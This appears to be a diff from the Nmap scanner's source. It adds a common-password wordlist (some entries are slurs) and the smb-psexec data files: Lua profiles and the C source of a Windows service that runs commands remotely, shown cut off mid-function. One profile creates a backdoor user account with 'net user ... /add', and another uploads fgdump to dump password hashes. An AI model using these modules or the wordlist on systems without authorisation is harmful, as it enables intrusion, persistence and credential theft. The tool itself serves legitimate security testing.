+deejay
+mandy1
+sahara
+Nicole
+sexybitch1
+integra
+georgia1
+hello12
+19851985
+grandpa
+crackers
+mercado
+s123456
+carissa
+catfish
+MONKEY
+semperfi
+alvarado
+angelus
+elisa
+honeyz
+marvel
+keekee
+corbin
+family4
+usher
+subway
+eragon
+search
+pinkish
+newman
+ezekiel
+catch22
+wwwwww
+elisabeth
+mmmmm
+palmtree
+bball
+capslock
+monyet
+friendsforever
+skywalker
+richelle
+labebe
+000001
+nookie
+sassygirl
+manny
+maricris
+happyfeet
+mariah1
+delgado
+oicu812
+sosexy
+sparks
+momof3
+littlebit
+twiggy
+squall
+estefani
+mongoose
+buffy1
+tanisha
+pisicuta
+counter
+meggie
+elefante
+aquino
+princess123
+qaz123
+bitch69
+labtec
+hello2
+19941994
+pass123
+belleza
+valery
+sweety1
+77777777
+matty
+chargers
+corey1
+glasgow
+tenten
+bubulina
+squirrel
+mybabies
+maxpower
+hailey1
+smitty
+louis
+aquamarine
+nineteen
+nicole12
+maricela
+fabolous
+hunnybunny
+nickolas
+negro
+latrice
+poiuytrewq
+snowboard
+chico1
+scream
+alessandra
+maisie
+hondacivic
+bryan1
+magnum
+baybee
+aleja
+carebear1
+mamama
+eloisa
+techno
+independent
+lalito
+volume
+141516
+luckyme
+metalica
+cancun
+cobain
+southern
+aragorn
+devon
+1q2w3e4r5t
+rancid
+juanes
+arielle
+shaun
+candie
+volley
+ash123
+priscila
+cheyanne
+bubble1
+elvis1
+hustler
+lilly1
+fairies
+leopard
+bigfoot
+flipflop
+peace1
+minniemouse
+teetee
+notebook
+AMERICA
+bonnie1
+ortega
+cutify
+moose
+bernice
+nicolle
+bluebell
+sierra1
+gilberto
+anarchy
+tasha1
+hilton
+ripcurl
+connor1
+terminator
+onepiece
+dionne
+dorian
+carnell
+sandra1
+florentina
+LOVEME
+chicky
+catdog1
+chronic
+amorsito
+padilla
+lovemom
+snowball1
+pizzas
+chicks
+fossil
+beach
+telefono
+nanita
+kimerald
+wonderland
+fantastic
+josie
+lights
+987456321
+gordo
+escola
+beebee
+bitches1
+twins
+deandre
+smokie
+chicago1
+splash
+disneyland
+ibrahim
+teddybear1
+lovelygirl
+burberry
+ignacio
+test
+143444
+paixao
+camelia
+ramiro
+baby07
+jeffrey1
+456321
+snapple
+asasas
+gracey
+gorillaz
+TWEETY
+hello!
+memyselfandi
+kassie
+venus
+guzman
+pooper
+bluestar
+angel15
+hellothere
+happybunny
+nessa
+booty
+putangina
+toronto
+jamielee
+jehovah
+bunnyboo
+bigmama
+gogogo
+baby11
+crybaby
+joselito
+fresas
+Anthony
+element1
+sexy16
+joselyn
+monkey11
+xtreme
+babygal
+loraine
+kameron
+alonzo
+tomato
+lovehim
+chiquito
+suicide
+minina
+abegail
+1truelove
+alohomora
+fraser
+diamante
+rasta
+abigail1
+casino
+JOSHUA
+bhabycoh
+tucker1
+pandabear
+tracy
+hellow
+gavin
+nikolas
+computador
+lissette
+vernon
+blanco
+k123456
+wolfpack
+henderson
+a1234567
+baby01
+muneca
+giovanna
+edgardo
+queenbee
+jamila
+jesusislord
+magic1
+candys
+yankees2
+Danielle
+thelma
+anaconda
+roberts
+jarvis
+gerson
+powder
+chuchu
+dixie1
+blink
+hardrock
+damnit
+sexymama1
+sonny
+dottie
+ojitos
+anahi
+Jennifer
+lilkim
+horse1
+lucille
+godsmack
+jazzie
+smith
+JUNIOR
+angel07
+young1
+honest
+1029384756
+planet
+chinese
+hithere
+lamborghini
+Liverpool
+ESTRELLA
+soccer16
+western
+castle
+class08
+helloo
+smile123
+murder
+loveis
+deleon
+lobster
+784512
+japanese
+labrador
+yomomma
+seattle
+steve1
+ilovecats
+raymond1
+cutie123
+stephany
+monmon
+escorpio
+balong
+tanner1
+09876
+picasso
+university
+lloyd
+pacheco
+benjamin1
+foxylady
+julian1
+alex12
+carola
+chandra
+smithy
+stronger
+alfie
+lianne
+sabrina1
+redsox1
+universal
+jerson
+336699
+kitty123
+wrangler
+525252
+braveheart
+JESUS
+monserrat
+happyday
+JUSTIN
+shadmoss
+sandro
+disney1
+princess11
+rosalie
+roderick
+224466
+jerico
+nightwish
+spencer1
+carlito
+1a2b3c4d
+BRANDON
+cccccc
+888999
+angie1
+alemania
+angel23
+marques
+loved1
+preety
+celica
+harriet
+kendrick
+januari
+june23
+dolphins1
+campos
+micah
+sexyred
+isaiah1
+amerika
+......
+houston1
+tomcat
+crimson
+heavenly
+lacrimosa
+italian
+heyheyhey
+PRINCESA
+rabbits
+lilromeo
+lickme
+noelia
+sausage
+Tigger
+zxcvbnm1
+andre1
+trojans
+apache
+durango
+6543210
+spongecola
+123456c
+onelove1
+hotlips
+sandman
+super1
+milano
+andreina
+456654
+bigboy1
+steelers1
+honeyq
+bangbang
+nigger1
+newpassword
+badboy1
+miller1
+jokers
+teamomiamor
+matilde
+19841984
+dirtbike
+tigger12
+iuliana
+revolution
+FUCKYOU
+metallica1
+tekieromucho
+jonatan
+stewie
+eugenia
+summer05
+fantasia
+321456
+wertyu
+jellybeans
+empire
+june28
+1234554321
+speaker
+natali
+poetry
+thesims2
+bball1
+ventura
+abbie
+sexysexy
+muslim
+rosalinda
+soccer22
+holler
+spotty
+teodora
+bling
+janina
+denis
+chikis
+francisca
+212224236
+ferguson
+chevy1
+thursday
+rockets
+orlandobloom
+sweetypie
+sagitarius
+dixie
+2222222
+2sweet
+bonethugs
+passions
+wiggles
+heidi
+heroes
+jamal
+lingling
+juliocesar
+10203040
+j12345
+19881988
+yessica
+lokito
+beetle
+ladybird
+polarbear
+chance1
+newnew
+estrelinha
+01234567
+twisted
+brianne
+homer
+dreaming
+powell
+235689
+butterfly2
+sexkitten
+losangeles
+1234567a
+sexygal
+gidget
+blueblue
+brothers
+19951995
+koolkat
+nextel
+missie
+maryland
+piscis
+nathaly
+123456t
+samsung1
+soleil
+dogdog
+starfire
+october1
+crips
+1babygirl
+bouncer
+123456b
+jimmie
+westwood
+#1bitch
+rockandroll
+slamdunk
+brenda1
+michell
+lalaland
+hellohello
+edith
+fiona
+gogirl
+derick
+atlantis
+TIGGER
+sirenita
+love33
+phillips
+bollocks
+quiksilver
+keepout
+ihateyou1
+salman
+daryl
+playboy69
+leavemealone
+iloveluke
+44444444
+oxford
+darkstar
+consuelo
+camilita
+MIGUEL
+limpbizkit
+privacy
+petewentz
+sonic
+inferno
+gusanito
+golfer
+jayjay1
+princess01
+parrot
+ducky
+rasmus
+inlove1
+kookie
+biteme1
+karen1
+fernandes
+zipper
+smoking
+brujita
+toledo
diff --git a/nselib/data/pixel.gif b/nselib/data/pixel.gif
new file mode 100644
index 0000000..a1e6d4d
--- /dev/null
+++ b/nselib/data/pixel.gif
Binary files differ
diff --git a/nselib/data/psexec/README b/nselib/data/psexec/README
new file mode 100644
index 0000000..3f0ede1
--- /dev/null
+++ b/nselib/data/psexec/README
@@ -0,0 +1,15 @@
+The files in this directory are the data files required for smb-psexec.nse.
+
+The .lua files are configurations. Each of these defines a profile for a
+psexec execution.
+
+nmap_service.exe is a program that facilitates the operation of smb-psexec.nse.
+It is uploaded to the remote host and runs the programs it's directed to run,
+redirecting their output to a file. This file is then downloaded by the
+script and displayed to the user.
+
+Because nmap_service.exe is tagged as spyware by some antivirus software, it is
+no longer distributed together with nmap. You can download it from
+https://nmap.org/psexec/nmap_service.exe or compile it from the provided
+sources. The smb-psexec.nse script will remind you if you run it and
+nmap_service.exe is not available.
diff --git a/nselib/data/psexec/backdoor.lua b/nselib/data/psexec/backdoor.lua
new file mode 100644
index 0000000..47f0d23
--- /dev/null
+++ b/nselib/data/psexec/backdoor.lua
@@ -0,0 +1,27 @@
+---This config file is designed for adding a backdoor to the system. It has a few
+-- options by default, only one enabled by default. I suggest
+--
+-- Note that none of these modules are included with Nmap by default.
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+-- TODO: allow the user to specify parameters
+--Note: password can't be longer than 14-characters, otherwise the program pauses for
+-- a response
+mod = {}
+mod.upload = false
+mod.name = "Adding a user account: $username/$password"
+mod.program = "net"
+mod.args = "user $username $password /add"
+mod.maxtime = 2
+mod.noblank = true
+mod.req_args = {'username','password'}
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/default.lua b/nselib/data/psexec/default.lua
new file mode 100644
index 0000000..cc31953
--- /dev/null
+++ b/nselib/data/psexec/default.lua
@@ -0,0 +1,144 @@
+---This is the default configuration file. It simply runs some built-in Window
+-- programs to gather information about the remote system. It's intended to be
+-- simple, demonstrate some of the concepts, and not break/alte anything.
+
+local table = require "table"
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+-- Get the Windows version. For some reason we can't run this directly, but it works ok
+-- if we run it through cmd.exe.
+mod = {}
+mod.upload = false
+mod.name = "Windows version"
+mod.program = "cmd.exe"
+mod.args = "/c \"ver\""
+mod.maxtime = 1
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup
+-- to end up being usable and pretty.
+mod = {}
+mod.upload = false
+mod.name = "IP Address and MAC Address from 'ipconfig.exe'"
+mod.program = "ipconfig.exe"
+mod.args = "/all"
+mod.maxtime = 1
+mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+table.insert(modules, mod)
+
+-- Grab the user list from 'net user', and make it look nice. Note that getting the groups
+-- list (with 'net localgroup') doesn't work without a proper login shell
+mod = {}
+mod.upload = false
+mod.name = "User list from 'net user'"
+mod.program = "net.exe"
+mod.args = "user"
+mod.maxtime = 1
+mod.remove = {"User accounts for", "The command completed", "%-%-%-%-%-%-%-%-%-%-%-"}
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Get the list of accounts in the 'administrators' group.
+mod = {}
+mod.upload = false
+mod.name = "Membership of 'administrators' from 'net localgroup administrators'"
+mod.program = "net.exe"
+mod.args = "localgroup administrators"
+mod.maxtime = 1
+mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards.
+-- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked)
+-- when the SystemRoot environmental variable wasn't set.
+mod = {}
+mod.upload = false
+mod.name = "Can the host ping our address?"
+mod.program = "ping"
+mod.args = "-n 1 $lhost"
+mod.maxtime = 5
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time.
+-- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works)
+mod = {}
+mod.upload = false
+mod.name = "Traceroute back to the scanner"
+mod.program = "tracert"
+mod.args = "-d -h 5 $lhost"
+mod.maxtime = 20
+mod.remove = {"Tracing route", "Trace complete"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Dump the arp cache of the system.
+mod = {}
+mod.name = "ARP Cache from arp.exe"
+mod.program = 'arp.exe'
+mod.upload = false
+mod.args = '-a'
+mod.remove = "Interface"
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Get the listening/connected ports
+mod = {}
+mod.upload = false
+mod.name = "List of listening and established connections (netstat -an)"
+mod.program = "netstat"
+mod.args = "-an"
+mod.maxtime = 1
+mod.remove = {"Active"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Get the routing table.
+--
+-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be
+-- set properly, so it isn't going to work against systems with odd paths.
+mod = {}
+mod.upload = false
+mod.name = "Full routing table from 'netstat -nr'"
+mod.program = "cmd.exe"
+mod.args = "/c \"netstat -nr\""
+mod.env = "PATH=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINNT;C:\\WINNT\\system32"
+mod.maxtime = 1
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Boot configuration
+mod = {}
+mod.upload = false
+mod.name = "Boot configuration"
+mod.program = "bootcfg"
+mod.args = "/query"
+mod.maxtime = 5
+table.insert(modules, mod)
+
+-- Get the drive configuration. For same (insane?) reason, it uses NULL characters instead of spaces
+-- for the response, so we have to do a replaceent.
+mod = {}
+mod.upload = false
+mod.name = "Drive list (for more info, try adding --script-args=config=drives,drive=C:)"
+mod.program = "fsutil"
+mod.args = "fsinfo drives"
+mod.replace = {{"\0", " "}}
+mod.maxtime = 1
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/drives.lua b/nselib/data/psexec/drives.lua
new file mode 100644
index 0000000..2272821
--- /dev/null
+++ b/nselib/data/psexec/drives.lua
@@ -0,0 +1,49 @@
+---This configuration file pulls info about a given harddrive
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+mod = {}
+mod.upload = false
+mod.name = "Drive type"
+mod.program = "fsutil"
+mod.args = "fsinfo drivetype $drive"
+mod.req_args = {"drive"}
+mod.maxtime = 1
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Drive info"
+mod.program = "fsutil"
+mod.args = "fsinfo ntfsinfo $drive"
+mod.req_args = {"drive"}
+mod.replace = {{" :",":"}}
+mod.maxtime = 1
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Drive type"
+mod.program = "fsutil"
+mod.args = "fsinfo statistics $drive"
+mod.req_args = {"drive"}
+mod.replace = {{" :",":"}}
+mod.maxtime = 1
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Drive quota"
+mod.program = "fsutil"
+mod.args = "quota query $drive"
+mod.req_args = {"drive"}
+mod.maxtime = 1
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/examples.lua b/nselib/data/psexec/examples.lua
new file mode 100644
index 0000000..8e15df4
--- /dev/null
+++ b/nselib/data/psexec/examples.lua
@@ -0,0 +1,68 @@
+---This configuration file contains the examples given in smb-psexec.nse.
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+overrides.timeout = 40
+
+modules = {}
+local mod
+
+mod = {}
+mod.upload = false
+mod.name = "Membership of 'administrators' from 'net localgroup administrators'"
+mod.program = "net.exe"
+mod.args = "localgroup administrators"
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 2: Membership of 'administrators', cleaned"
+mod.program = "net.exe"
+mod.args = "localgroup administrators"
+mod.remove = {"The command completed", "%-%-%-%-%-%-%-%-%-%-%-", "Members", "Alias name", "Comment"}
+mod.noblank = true
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 3: IP Address and MAC Address"
+mod.program = "ipconfig.exe"
+mod.args = "/all"
+mod.maxtime = 1
+mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 4: Can the host ping our address?"
+mod.program = "ping.exe"
+mod.args = "$lhost"
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = false
+mod.name = "Example 5: Can the host ping $host?"
+mod.program = "ping.exe"
+mod.args = "$host"
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+mod.req_args = {'host'}
+table.insert(modules, mod)
+
+mod = {}
+mod.upload = true
+mod.name = "Example 6: FgDump"
+mod.program = "fgdump.exe"
+mod.args = "-c -l fgdump.log"
+mod.url = "http://www.foofus.net/fizzgig/fgdump/"
+mod.tempfiles = {"fgdump.log"}
+mod.outfile = "127.0.0.1.pwdump"
+table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/experimental.lua b/nselib/data/psexec/experimental.lua
new file mode 100644
index 0000000..5784101
--- /dev/null
+++ b/nselib/data/psexec/experimental.lua
@@ -0,0 +1,24 @@
+---This is the configuration file for modules that aren't quite ready for prime
+-- time yet.
+
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+
+-- I can't get fport to work for me, so I'm going to leave this one in 'experimental' for now
+--mod = {}
+--mod.upload = true
+--mod.name = "Fport"
+--mod.program = "Fport.exe"
+--mod.url = "http://www.foundstone.com/us/resources/proddesc/fport.htm"
+--mod.maxtime = 1
+--mod.noblank = true
+--table.insert(modules, mod)
+
diff --git a/nselib/data/psexec/network.lua b/nselib/data/psexec/network.lua
new file mode 100644
index 0000000..316cd3b
--- /dev/null
+++ b/nselib/data/psexec/network.lua
@@ -0,0 +1,113 @@
+---More verbose network scripts
+
+-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the
+-- 'overrides' table. Most of them are not really recommended, such as the host,
+-- key, etc.
+overrides = {}
+--overrides.timeout = 40
+
+modules = {}
+local mod
+
+-- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup
+-- to end up being usable and pretty.
+mod = {}
+mod.upload = false
+mod.name = "IP Address and MAC Address from 'ipconfig.exe'"
+mod.program = "ipconfig.exe"
+mod.args = "/all"
+mod.maxtime = 1
+mod.find = {"IP Address", "Physical Address", "Ethernet adapter"}
+mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}}
+table.insert(modules, mod)
+
+-- Dump the arp cache of the system.
+mod = {}
+mod.name = "ARP Cache from arp.exe"
+mod.program = 'arp.exe'
+mod.upload = false
+mod.args = '-a'
+mod.remove = "Interface"
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Get the listening/connected ports
+mod = {}
+mod.upload = false
+mod.name = "List of listening and established connections (netstat -an)"
+mod.program = "netstat"
+mod.args = "-anb"
+mod.maxtime = 1
+mod.remove = {"Active"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Get the routing table.
+--
+-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be
+-- set properly, so it isn't going to work against systems with odd paths.
+mod = {}
+mod.upload = false
+mod.name = "Full routing table from 'netstat -nr'"
+mod.program = "cmd.exe"
+mod.args = "/c \"netstat -nr\""
+mod.env = "PATH=C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINNT;C:\\WINNT\\system32"
+mod.maxtime = 1
+mod.noblank = true
+table.insert(modules, mod)
+
+-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards.
+-- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked)
+-- when the SystemRoot environmental variable wasn't set.
+mod = {}
+mod.upload = false
+mod.name = "Can the host ping our address?"
+mod.program = "ping"
+mod.args = "-n 1 $lhost"
+mod.maxtime = 5
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time.
+-- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works)
+mod = {}
+mod.upload = false
+mod.name = "Traceroute back to the scanner"
+mod.program = "tracert"
+mod.args = "-d -h 5 $lhost"
+mod.maxtime = 20
+mod.remove = {"Tracing route", "Trace complete"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Ping an arbitrary address given by the user
+mod = {}
+mod.upload = false
+mod.name = "Can the host ping $address?"
+mod.program = "ping"
+mod.args = "-n 1 $address"
+mod.req_args = {'address'}
+mod.maxtime = 5
+mod.remove = {"statistics", "Packet", "Approximate", "Minimum"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+-- Try a traceroute to an address given by the user
+mod = {}
+mod.upload = false
+mod.name = "Traceroute to $address (5 hops or less)"
+mod.program = "tracert"
+mod.args = "-d -h 5 $address"
+mod.req_args = {'address'}
+mod.maxtime = 20
+mod.remove = {"Tracing route", "Trace complete"}
+mod.noblank = true
+mod.env = "SystemRoot=c:\\WINDOWS"
+table.insert(modules, mod)
+
+
diff --git a/nselib/data/psexec/nmap_service.c b/nselib/data/psexec/nmap_service.c
new file mode 100644
index 0000000..a6a563b
--- /dev/null
+++ b/nselib/data/psexec/nmap_service.c
@@ -0,0 +1,380 @@
+/**This is the program that's uploaded to a Windows machine when psexec is run. It acts as a Windows
+ * service, since that's what Windows expects. When it is started, it's passed a list of programs to
+ * run. These programs are all expected to be at the indicated path (whether they were uploaded or
+ * they were always present makes no difference).
+ *
+ * After running the programs, the output from each of them is ciphered with a simple xor encryption
+ * (the encryption key is passed as a parameter; because it crosses the wire, it isn't really a
+ * security feature, more of validation/obfuscation to prevent sniffers from grabbing the output. This
+ * output is placed in a temp file. When the cipher is complete, the output is moved into a new file.
+ * When Nmap detects the presence of this new file, it is downloaded, then all files, temp files, and
+ * the service (this program) is deleted.
+ *
+ * One interesting note is that executable files don't require a specific extension to be used by this
+ * program. By default, at the time of this writing, Nmap appends a .txt extension to the file.
+ *
+ * @args argv[1] The final filename where the ciphered output will go.
+ * @args argv[2] The temporary file where output is sent before being renamed; this is sent as a parameter
+ * so we can delete it later (if, say, the script fails).
+ * @args argv[3] The number of programs that are going to be run.
+ * @args argv[4] Logging: a boolean value (1 to enable logging, 0 to disable).
+ * @args argv[5] An 'encryption' key for simple 'xor' encryption. This string can be as long or as short
+ * as you want, but a longer string will be more secure (although this algorithm should
+ * *never* really be considered secure).
+ * @args Remaining There are two arguments for each program to run: a path (including arguments) and
+ * environmental variables.
+ *
+ * @auther Ron Bowes
+ * @copyright Ron Bowes
+ * @license "Same as Nmap--See https://nmap.org/book/man-legal.html"
+ */
+
+#include <stdio.h>
+#include <windows.h>
+
+FILE *outfile;
+
+SERVICE_STATUS ServiceStatus;
+SERVICE_STATUS_HANDLE hStatus;
+
+static char *enc_key;
+static int enc_key_loc;
+
+static void log_message(char *format, ...)
+{
+ static int enabled = 1;
+
+ if(!format)
+ {
+ enabled = 0;
+ DeleteFile("c:\\nmap-log.txt");
+ }
+
+
+ if(enabled)
+ {
+ va_list argp;
+ FILE *file;
+
+ fopen_s(&file, "c:\\nmap-log.txt", "a");
+
+ if(file != NULL)
+ {
+ va_start(argp, format);
+ vfprintf(file, format, argp);
+ va_end(argp);
+ fprintf(file, "\n");
+ fclose(file);
+ }
+ }
+}
+
+static char cipher(char c)
+{
+ if(strlen(enc_key) == 0)
+ return c;
+
+ c = c ^ enc_key[enc_key_loc];
+ enc_key_loc = (enc_key_loc + 1) % strlen(enc_key);
+
+ return c;
+}
+
+static void output(int num, char *str, int length)
+{
+ int i;
+
+ if(length == -1)
+ length = strlen(str);
+
+ for(i = 0; i < length; i++)
+ {
+ if(str[i] == '\n')
+ {
+ fprintf(outfile, "%c", cipher('\n'));
+ fprintf(outfile, "%c", cipher('0' + (num % 10)));
+ }
+ else
+ {
+ fprintf(outfile, "%c", cipher(str[i]));
+ }
+ }
+}
+
+static void go(int num, char *lpAppPath, char *env, int headless, int include_stderr, char *readfile)
+{
+ STARTUPINFO startupInfo;
+ PROCESS_INFORMATION processInformation;
+ SECURITY_ATTRIBUTES sa;
+ HANDLE stdout_read, stdout_write;
+ DWORD creation_flags;
+
+ int bytes_read;
+ char buffer[1024];
+
+ /* Create a security attributes structure. This is required to inherit handles. */
+ ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
+ sa.nLength = sizeof(SECURITY_ATTRIBUTES);
+ sa.lpSecurityDescriptor = NULL;
+
+ if(!headless)
+ sa.bInheritHandle = TRUE;
+
+ /* Create a pipe that'll be used for stdout and stderr. */
+ if(!headless)
+ CreatePipe(&stdout_read, &stdout_write, &sa, 1);
+
+ /* Initialize the startup info struct. The most important part is setting the stdout/stderr handle to our pipe. */
+ ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
+ startupInfo.cb = sizeof(STARTUPINFO);
+
+ if(!headless)
+ {
+ startupInfo.dwFlags = STARTF_USESTDHANDLES;
+ startupInfo.hStdOutput = stdout_write;
+ if(include_stderr)
+ startupInfo.hStdError = stdout_write;
+ }
+
+ /* Log a couple messages. */
+ log_message("Attempting to load the program: %s", lpAppPath);
+
+ /* Initialize the PROCESS_INFORMATION structure. */
+ ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
+
+ /* To divide the output from one program to the next */
+ output(num, "\n", -1);
+
+ /* Decide on the creation flags */
+ creation_flags = CREATE_NO_WINDOW;
+ if(headless)
+ creation_flags = DETACHED_PROCESS;
+
+ /* Create the actual process with an overly-complicated CreateProcess function. */
+ if(!CreateProcess(NULL, lpAppPath, 0, &sa, sa.bInheritHandle, CREATE_NO_WINDOW, env, 0, &startupInfo, &processInformation))
+ {
+ output(num, "Failed to create the process", -1);
+
+ if(!headless)
+ {
+ CloseHandle(stdout_write);
+ CloseHandle(stdout_read);
+ }
+ }
+ else
+ {
+ log_message("Successfully created the process!");
+
+ /* Read the pipe, if it isn't headless */
+ if(!headless)
+ {
+ /* Close the write handle -- if we don't do this, the ReadFile() coming up gets stuck. */
+ CloseHandle(stdout_write);
+
+ /* Read from the pipe. */
+ log_message("Attempting to read from the pipe");
+ while(ReadFile(stdout_read, buffer, 1023, &bytes_read, NULL))
+ {
+ if(strlen(readfile) == 0)
+ output(num, buffer, bytes_read);
+ }
+ CloseHandle(stdout_read);
+
+ /* If we're reading an output file instead of stdout, do it here. */
+ if(strlen(readfile) > 0)
+ {
+ FILE *read;
+ errno_t err;
+
+ log_message("Trying to open output file: %s", readfile);
+ err = fopen_s(&read, readfile, "rb");
+
+ if(err)
+ {
+ log_message("Couldn't open the readfile: %d", err);
+ output(num, "Couldn't open the output file", -1);
+ }
+ else
+ {
+ char buf[1024];
+ int count;
+
+ count = fread(buf, 1, 1024, read);
+ while(count)
+ {
+ output(num, buf, count);
+ count = fread(buf, 1, 1024, read);
+ }
+
+ fclose(read);
+ }
+ }
+ }
+ else
+ {
+ output(num, "Process has been created", -1);
+ }
+
+ log_message("Done!");
+ }
+}
+
+// Control handler function
+static void ControlHandler(DWORD request)
+{
+ switch(request)
+ {
+ case SERVICE_CONTROL_STOP:
+
+ ServiceStatus.dwWin32ExitCode = 0;
+ ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+ SetServiceStatus (hStatus, &ServiceStatus);
+ return;
+
+ case SERVICE_CONTROL_SHUTDOWN:
+
+ ServiceStatus.dwWin32ExitCode = 0;
+ ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+ SetServiceStatus (hStatus, &ServiceStatus);
+ return;
+
+ default:
+ break;
+ }
+
+ SetServiceStatus(hStatus, &ServiceStatus);
+}
+
+
+
+static void die(int err)
+{
+ // Not enough arguments
+ ServiceStatus.dwCurrentState = SERVICE_STOPPED;
+ ServiceStatus.dwWin32ExitCode = err;
+ SetServiceStatus(hStatus, &ServiceStatus);
+}
+
+static void ServiceMain(int argc, char** argv)
+{
+ char *outfile_name;
+ char *tempfile_name;
+ int count;
+ int logging;
+ int result;
+ int i;
+ char *current_directory;
+
+ /* Make sure we got the minimum number of arguments. */
+ if(argc < 6)
+ return;
+
+ /* Read the arguments. */
+ outfile_name = argv[1];
+ tempfile_name = argv[2];
+ count = atoi(argv[3]);
+ logging = atoi(argv[4]);
+ enc_key = argv[5];
+ enc_key_loc = 0;
+ current_directory = argv[6];
+
+ /* If they didn't turn on logging, disable it. */
+ if(logging != 1)
+ log_message(NULL);
+
+ /* Log the state. */
+ log_message("");
+ log_message("-----------------------");
+ log_message("STARTING");
+
+ /* Log all the arguments. */
+ log_message("Arguments: %d\n", argc);
+ for(i = 0; i < argc; i++)
+ log_message("Argument %d: %s", i, argv[i]);
+
+ /* Set up the service. Likely unnecessary for what we're doing, but it doesn't hurt. */
+ ServiceStatus.dwServiceType = SERVICE_WIN32;
+ ServiceStatus.dwCurrentState = SERVICE_RUNNING;
+ ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
+ ServiceStatus.dwWin32ExitCode = 0;
+ ServiceStatus.dwServiceSpecificExitCode = 0;
+ ServiceStatus.dwCheckPoint = 0;
+ ServiceStatus.dwWaitHint = 0;
+ hStatus = RegisterServiceCtrlHandler("", (LPHANDLER_FUNCTION)ControlHandler);
+ SetServiceStatus(hStatus, &ServiceStatus);
+
+ /* Registering Control Handler failed (this is a bit late, but eh?) */
+ if(hStatus == (SERVICE_STATUS_HANDLE)0)
+ {
+ log_message("Service failed to start");
+ die(-1);
+ return;
+ }
+
+ /* Set the current directory. */
+ SetCurrentDirectory(current_directory);
+
+ /* Open the output file. */
+ log_message("Opening temporary output file: %s", tempfile_name);
+
+ /* Open the outfile. */
+ if(result = fopen_s(&outfile, tempfile_name, "wb"))
+ {
+ log_message("Couldn't open output file: %d", result);
+ die(-1);
+ }
